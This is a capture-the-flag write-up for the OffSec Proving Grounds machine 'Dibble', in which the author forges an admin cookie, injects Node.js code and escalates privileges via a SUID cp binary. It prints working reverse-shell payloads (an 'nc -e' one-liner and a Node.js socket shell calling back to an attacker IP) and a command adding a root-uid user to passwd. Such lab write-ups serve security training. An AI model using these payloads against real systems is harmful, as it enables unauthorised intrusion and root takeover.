---
description: Writeup for Dibble from offsec Proving Grounds
---

# Dibble

## Information Gathering

`sudo nmapAutomator.sh 192.168.204.110 all`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FhSF8YRiNMEj0j9y8MsMK%2Fimage.png?alt=media\&token=730338bc-a7f2-41fe-83ce-7aeded327b24)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FUFUmcoYHlLgtXXDJzwrO%2Fimage.png?alt=media\&token=db4d5134-3402-49c0-819f-ba0659958698)

### Service Enumeration

### MongoDB (Port 27017)

Authentication is not needed to connect to MongoDB.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2F5MXlpxmoevblQe2xrxOz%2Fimage.png?alt=media\&token=4f128931-82d3-45cb-b827-52b4ab58fbe7)

Nothing significant was found.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FAN9oh469H5bxKqATbPUh%2Fimage.png?alt=media\&token=6a21ae4a-badf-44c4-a287-ab72608cb3b4)

### FTP (Port 21)

FTP was unresponsive even though anonymous login was allowed

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FFfJQQPyoY1kSvThe4Jws%2Fimage.png?alt=media\&token=4202e239-2132-473c-9164-d4de098a6137)

### HTTP (Port 80)

Simple Webpage, checked out directories listed in the `robots.txt` file found during earlier enumeration.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FKBN6Ja03CmSZbgYQBMQn%2Fimage.png?alt=media\&token=c9642a9f-9970-44e1-9370-3b4159a53b6a)

Tried creating an account but it didn't seem to give more access.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FCWGZbPObHeAgYFjsKbTF%2Fimage.png?alt=media\&token=c3934d28-a41e-4c9d-9a3a-81475ff72cff)

### HTTP (Port 3000)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2Fdv6fWxBpGuADE3d03cqX%2Fimage.png?alt=media\&token=f2651bca-d97b-4900-b2e1-1b5e4d49c175)

We register an account as `test:test`.

There was a view event logs tab.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FYM4WvfT62DG1x896WCk4%2Fimage.png?alt=media\&token=755de1b3-f31d-4fdd-b994-bf770de678e8)

Tried registering a new event, but it seems like we need to be an admin to update event logs.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2F2LU172swn1eGNyAypXhE%2Fimage.png?alt=media\&token=f19fef7d-6080-4b87-958a-8fd2ebec351e)

There is a high chance the website checks which user we are using cookies.

We can check to see if there are any existing cookies.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2F6UmFQdJvBd3uMukdl9i5%2Fimage.png?alt=media\&token=f1f41a5a-89ff-41f3-b808-11b8038e9822)

The `userLevel` cookie seems to be URL encoded so after decoding it online, we get a base64 string.

`ZGVmYXVsdA%3D%3D -> ZGVmYXVsdA==`

We can decode the base64 string and we get `default`.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FtPtnUVSZw3wzO2voDagW%2Fimage.png?alt=media\&token=31dca69a-bda9-40ea-a8b7-9dab0b95c5cd)

We can try encoding the admin string using base64 to see if this will let us post new events.

We use the `-n` flag as `echo` by defaults adds a newline character at the end of the string which we do not want to encode.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FgS5pdypjHNVCBQygzH2t%2Fimage.png?alt=media\&token=f25ede85-3466-4eea-bcef-11b3940f3c71)

After updating the cookie value, we are able to post new events.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FmCqJGCcZU9qTs9VxX3Bq%2Fimage.png?alt=media\&token=b7c639f3-7612-4234-8b54-2761f1d50cf6)

## Exploit

Tested by supplying a simple math operation to see if it would evaluate.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FPXgd5fiRhTPEQi3x1xtw%2Fimage.png?alt=media\&token=bac8e21d-4957-4e70-b847-526806fca144)

From our earlier enumeration, we know that this is running node.js, so maybe we can inject some node.js code.

Tried the first command to try to get a reverse shell but it didn't work.

`require('child_process').exec('nc -e cmd 192.168.49.204 80')`

Turns out it got evaluated to `[object Object]`.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2F7X45MFsfgxUXvLxdVxWO%2Fimage.png?alt=media\&token=5065d104-ddb8-4417-b439-d920ce51b543)

We try another payload and this time it works.

```
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(21, "192.168.49.204", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
})();
```

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FzUI53QxqWJ3o9PBUufhA%2Fimage.png?alt=media\&token=16ebd2e6-6487-4b4c-8648-0770f0d82a69)

## Privesc

Running `linpeas`, we see that `cp` has SUID bit set.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FHX6OxjVk6naiSwlJUFdz%2Fimage.png?alt=media\&token=7331dec9-b641-45a4-a68d-2eedec54a474)

We can follow this guy on how to escalate privileges with `cp` command.

{% embed url="https://tento.hatenablog.com/entry/2019/11/16/073442" %}

`openssl passwd -1 -salt ignite bob`

`echo bob:$1$-itnite$VRvGqpGVibx/r9NPdLLTF1:0:0:root:/root:/bin/bash >> passwd`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FMTNL3wD0hcPn2v11Vh3B%2Fimage.png?alt=media\&token=0842bf6d-7a6c-469f-a58c-9028746e4675)

